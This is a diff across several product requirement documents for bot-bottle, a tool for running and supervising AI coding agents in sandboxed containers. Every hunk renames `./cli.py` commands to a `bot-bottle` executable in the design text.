 out-of-band. Enter (re-attach) works for both owned and
 non-owned bottles.
@@ -288,7 +288,7 @@ agents pane.

 `x` on a non-owned agent (discovered via `list_active_slugs`
 but not in `bottles` dict): no-op with status hint pointing
-at `./cli.py cleanup` (the existing path that tears down
+at `bot-bottle cleanup` (the existing path that tears down
 ANY bot-bottle compose project plus reaps state dirs).

 ### Dashboard quit
@@ -300,7 +300,7 @@ the `docker compose` project keeps running. The next dashboard
 invocation discovers the bottles via `list_active_slugs` and
 surfaces re-attach.

-This is a real departure from today's `./cli.py start`
+This is a real departure from today's `bot-bottle start`
 semantics (which couples bottle lifetime to the process via
 ExitStack). It's intentional: the dashboard is a watching +
 acting surface, not a lifetime owner.
@@ -322,7 +322,7 @@ Sized for one PR each.
   dashboard's ExitStack; handoff invokes `attach_agent`.
 3. **Re-attach via Enter on owned agents-pane row.** Looks up
   the slug in the dashboard's `bottles` map; if present →
-   handoff; else → status-line hint pointing at `./cli.py
+   handoff; else → status-line hint pointing at `bot-bottle
   resume`.
 4. **Explicit per-bottle stop (`x` keybinding).** Pop the
   bottle's `close` callback off the stack, call it, refresh.
@@ -369,7 +369,7 @@ Sized for one PR each.
   bottles dict goes out of scope without invoking `__exit__`,
   so the `docker compose` projects keep running. Bottle
   teardown is always explicit: per-bottle `x` (for
-   dashboard-owned), or `./cli.py cleanup` (for everything).
+   dashboard-owned), or `bot-bottle cleanup` (for everything).

 ## Open questions

@@ -46,7 +46,7 @@ window, two panes, no terminal handoff.

 ## Goals / Success Criteria

-1. When the operator runs `./cli.py dashboard` from inside a
+1. When the operator runs `bot-bottle dashboard` from inside a
   tmux session (`$TMUX` set), the dashboard establishes a
   two-pane layout: dashboard in the left pane, an initially-
   empty right pane reserved for claude sessions.
@@ -313,7 +313,7 @@ Sized small.
 3. **Dashboard launched OUTSIDE tmux but tmux is installed.**
   Should the dashboard auto-exec itself inside a fresh tmux
   session to get the split-pane experience? Convenient but
-   surprising (`./cli.py dashboard` shouldn't silently
+   surprising (`bot-bottle dashboard` shouldn't silently
   change what session you're in). v1 leaves this off —
   operators who want split-pane mode start tmux themselves
   and then run the dashboard.
@@ -332,7 +332,7 @@ Sized small.
   PRD-0019 focus indicator?

 6. **Concurrent dashboards in different tmux windows.**
-   Multiple `./cli.py dashboard` invocations in different
+   Multiple `bot-bottle dashboard` invocations in different
   tmux windows would each create their own right pane —
   probably fine, each has its own state, but worth
   verifying that `tmux list-panes` is scoped to the right
@@ -14,7 +14,7 @@ Today bot-bottle is hard-wired around Claude Code assumptions. When Claude runs

 ## Goals / Success Criteria

- A Codex agent can be started from the dashboard and via `./cli.py start` alongside a Claude agent.
+- A Codex agent can be started from the dashboard and via `bot-bottle start` alongside a Claude agent.
 - The manifest can express the agent provider/template and, where needed, a custom agent Dockerfile.
 - Claude-specific default egress/auth behavior is no longer implicit; provider-specific auth is expressed through explicit bottle egress routes and roles.
 - The launcher preserves required infrastructure behavior for sidecars, egress, pipelock, supervisor MCP, CA handling, git, and shell basics.
@@ -30,7 +30,7 @@ across every bottle spin-up. This has several consequences:
  to grant that access.
 - **Manual rotation burden.** Operators must manage key files on disk, keeping
  them secure, rotating them on a schedule, and distributing them across hosts
-  that run `./cli.py start`.
+  that run `bot-bottle start`.

 ## Goals / Success Criteria

@@ -6,7 +6,7 @@

 ## Summary

-The `./cli.py dashboard` command has grown from its PRD 0013 roots
+The `bot-bottle dashboard` command has grown from its PRD 0013 roots
 (triage supervise proposals) into a parallel-agent control surface
 (PRDs 0019/0020/0021): an active-agents pane, agent picker + start,
 re-attach, per-bottle stop, tmux split-pane handoff, operator-
@@ -21,7 +21,7 @@ proposals, approve / modify / reject each one, write audit entries,
 deliver the response that unblocks the agent's tool call. Everything
 that's about *starting / re-entering / stopping* bottles, or about
 *operator-initiated* config edits, comes out. The command is renamed
-`./cli.py supervise` so the name matches what it does after the cut.
+`bot-bottle supervise` so the name matches what it does after the cut.

 Future agent-management UX is explicitly punted: if and when a
 control surface for parallel agents resurfaces, the working
@@ -41,9 +41,9 @@ Three concrete pains, all downstream of the dashboard's growth:
  ExitStack-free bottle ownership are intricate enough that
  shipping the next polish increment costs more than it returns.
 2. **No clear ownership of "starts and stops bottles".** Today
-  that responsibility is split: `./cli.py start` owns one-shot
+  that responsibility is split: `bot-bottle start` owns one-shot
  sessions; the dashboard owns multi-session bottles it started
-  itself; `./cli.py cleanup` owns everything else. The dashboard
+  itself; `bot-bottle cleanup` owns everything else. The dashboard
  tracking its own `bottles: dict[str, (cm, bottle, identity)]`
  that doesn't survive a quit is a confusing third lane.
 3. **Wrong target shape for a "manage many agents" UI.** The
@@ -97,12 +97,12 @@ problem is everything that got bolted onto that core after.
  dashboard. After this PRD they don't exist anywhere — operators
  who need ad-hoc edits use the same path the agents do (call the
  supervise tool from inside the bottle) or hand-edit the host-
-  side files and restart the sidecar. Adding a `./cli.py routes
+  side files and restart the sidecar. Adding a `bot-bottle routes
  edit <slug>` verb is a follow-up if the loss bites.
- **Removing `./cli.py start` or changing its semantics.** Start
+- **Removing `bot-bottle start` or changing its semantics.** Start
  remains the one-shot launch path. PRD 0020's bottle-outlives-
  process model is removed; the only path to a long-running
-  bottle is `./cli.py start` (foreground) plus `cli.py cleanup`
+  bottle is `bot-bottle start` (foreground) plus `cli.py cleanup`
  for teardown.
 - **Removing the supervise-sidecar protocol or any of the three
  block-remediation engines.** PRDs 0013–0016 stay Active. The
@@ -122,8 +122,8 @@ problem is everything that got bolted onto that core after.

 ### In scope

- **Rename the subcommand.** `./cli.py dashboard` becomes
-  `./cli.py supervise`. The module moves from `bot_bottle/cli/
+- **Rename the subcommand.** `bot-bottle dashboard` becomes
+  `bot-bottle supervise`. The module moves from `bot_bottle/cli/
  dashboard.py` to `bot_bottle/cli/supervise.py`. The dispatcher
  in `bot_bottle/cli/__init__.py` and the help text both update.
 - **Strip the curses loop to proposal-only.** The remaining
@@ -167,7 +167,7 @@ problem is everything that got bolted onto that core after.

 - Any new feature in the supervise TUI. The cut is purely
  subtractive (except for the rename).
- Behavior changes in `./cli.py start`, `cli.py cleanup`,
+- Behavior changes in `bot-bottle start`, `cli.py cleanup`,
  `cli.py resume`, `cli.py list`, `cli.py info`, `cli.py edit`,
  `cli.py init` — unchanged.
 - Changes to the supervise sidecar (`supervise_server.py`,
@@ -181,7 +181,7 @@ problem is everything that got bolted onto that core after.

 ### Final shape of the TUI

-After this PRD the `./cli.py supervise` curses surface is:
+After this PRD the `bot-bottle supervise` curses surface is:

 ```
 bot-bottle supervise  (3 pending)
@@ -307,8 +307,8 @@ The PR closes issue #174.

 1. **`e` / `p` operator-initiated edits — gone for good or
  moved to a separate CLI verb?** The PRD removes them with no
-  replacement. The simplest replacement is `./cli.py routes
-  edit <slug>` and `./cli.py pipelock edit <slug>`, sharing
+  replacement. The simplest replacement is `bot-bottle routes
+  edit <slug>` and `bot-bottle pipelock edit <slug>`, sharing
  the existing `apply_routes_change` / `apply_allowlist_change`
  engines. If the loss is felt within the first parallel
  run after this lands, that follow-up is a small PR. Leaving
@@ -7,12 +7,12 @@

 ## Summary

-When `./cli.py start` is run without an agent name, or without a backend
+When `bot-bottle start` is run without an agent name, or without a backend
 explicitly specified, the user currently gets an argparse error (missing
 positional) or falls through to the `docker` default silently. This PRD
 adds a terminal UI that appears in those gaps: a filter-select screen
 built with `curses` that lets the operator pick the agent and/or backend
-interactively rather than memorising names or consulting `./cli.py list`.
+interactively rather than memorising names or consulting `bot-bottle list`.

 ## Problem

@@ -29,15 +29,15 @@ visible.

 ## Goals / Success Criteria

-1. `./cli.py start` (no arguments) shows an interactive agent selector;
+1. `bot-bottle start` (no arguments) shows an interactive agent selector;
   the selected name is used exactly as if it had been passed on the
   command line.
-2. `./cli.py start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
+2. `bot-bottle start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
   shows an interactive backend selector; the selected backend is used
   exactly as if `--backend=<selected>` had been passed.
-3. `./cli.py start <name> --backend=<b>` (both explicit) shows neither
+3. `bot-bottle start <name> --backend=<b>` (both explicit) shows neither
   screen — no behavioural change from today.
-4. `./cli.py start` (no arguments, no env backend) shows the agent
+4. `bot-bottle start` (no arguments, no env backend) shows the agent
   selector first, then the backend selector.
 5. The filter-select widget is a standalone utility
   (`bot_bottle/cli/tui.py`) shared by both selectors.
@@ -57,7 +57,7 @@ visible.
 - No pagination beyond what fits in the terminal window (scroll via
  cursor movement is sufficient for typical agent counts).
 - No multi-select; exactly one item is chosen per invocation.
- No changes to `./cli.py resume`, `./cli.py list`, or any other
+- No changes to `bot-bottle resume`, `bot-bottle list`, or any other
  subcommand.

 ## Design
@@ -83,7 +83,7 @@ def filter_select(

 The widget renders to the tty file descriptor opened via `curses.initscr`
 (or `curses.newterm` on the tty fd so stdout remains clean for callers
-that pipe `./cli.py`).
+that pipe `bot-bottle`).

 Layout (full-width, minimal):

@@ -140,7 +140,7 @@ agent picker can populate itself from the real manifest. The same
 `filter_select` opens `/dev/tty` and feeds it as the input file to
 `curses.wrapper`-equivalent code (using `curses.newterm` to avoid
 clobbering the caller's stdout/stderr). This keeps the picker
-composable — callers can pipe `./cli.py` output without the curses
+composable — callers can pipe `bot-bottle` output without the curses
 draw sequences contaminating the pipe.

 ## Implementation chunks
@@ -30,12 +30,12 @@ snapshot before a planned host reboot or hardware migration.

 ## Goals / Success Criteria

- `./cli.py commit [<slug>]` takes a snapshot of the running agent and
+- `bot-bottle commit [<slug>]` takes a snapshot of the running agent and
  stores it as a local artifact.
 - Without a slug argument the command shows the same interactive picker
  as `start` (the list of active slugs).
 - The committed artifact reference is stored in per-bottle state so
-  that the next `./cli.py resume <slug>` automatically uses the
+  that the next `bot-bottle resume <slug>` automatically uses the
  snapshot instead of rebuilding from the Dockerfile.
 - `mark_preserved` is called so the state dir survives the normal
  session-end cleanup.
@@ -81,7 +81,7 @@ to the committed `.smolmachine` artifact.
 ### `commit` command

 ```
-./cli.py commit [<slug>]
+bot-bottle commit [<slug>]
 ```

 1. Resolve slug (arg or interactive picker from `enumerate_active_agents`).
@@ -37,7 +37,7 @@ egress policy), the operator must duplicate the agent file and change the
   selection order, as the effective bottle for the session.
 5. Confirming with an empty selection falls back to the agent's `bottle:` field.
   If neither is set, a ManifestError is raised pointing the operator at the fix.
-6. The ordered bottle list is stored in launch metadata so `./cli.py resume`
+6. The ordered bottle list is stored in launch metadata so `bot-bottle resume`
   uses the same bottles.
 7. The preflight summary (`y/N` screen) shows the effective bottle name(s).
 8. The multi-select picker supports incremental filtering, Space/Enter to toggle
@@ -52,7 +52,7 @@ egress policy), the operator must duplicate the agent file and change the
 - Reordering the selection list from within the picker (order = insertion order;
  drag-and-drop is out of scope).
 - Storing bottle selection history / MRU.
- Changes to `./cli.py edit`, `./cli.py list`, or `./cli.py info`.
+- Changes to `bot-bottle edit`, `bot-bottle list`, or `bot-bottle info`.
 - Removing the `bottle:` key from the agent schema (it stays, now optional).

 ## Design
@@ -74,7 +74,7 @@ macOS-only for v1. Three concrete blockers:

 ## Goals / Success Criteria

- `BOT_BOTTLE_BACKEND=smolmachines ./cli.py start <agent>` launches,
+- `BOT_BOTTLE_BACKEND=smolmachines bot-bottle start <agent>` launches,
  runs, and tears down a bottle on a Linux host with `/dev/kvm`.
 - The TSI allowlist is enforced on Linux: PRD 0022's
  `tests/integration/test_sandbox_escape.py` passes against
@@ -39,7 +39,7 @@ end-to-end runner that would catch the *next* macOS-only launch regression.)
 PR #470 (#414) already made the integration suite backend-agnostic:
 `skip_unless_selected_backend_available()` gates on the *selected* backend's
 own `is_backend_ready()` rather than `docker_available()`, and each
-integration job runs `./cli.py backend status --backend=<name>` as a preflight
+integration job runs `bot-bottle backend status --backend=<name>` as a preflight
 that fails loudly when the backend is missing. That is the machinery this job
 plugs into; this PRD supplies the runner and the job.

@@ -98,7 +98,7 @@ Modeled on `integration-firecracker`:
 - `concurrency: { group: integration-macos-infra, cancel-in-progress: false }`
  to serialize runs against the singleton.
 - **Preflight** — `command -v container`, `container system status`, then
-  `./cli.py backend status --backend=macos-container`; any failure exits
+  `bot-bottle backend status --backend=macos-container`; any failure exits
  non-zero so a misprovisioned runner fails loudly instead of silently
  skipping.
 - Run the integration suite under coverage with
--- a/Show More
+++ b/Show More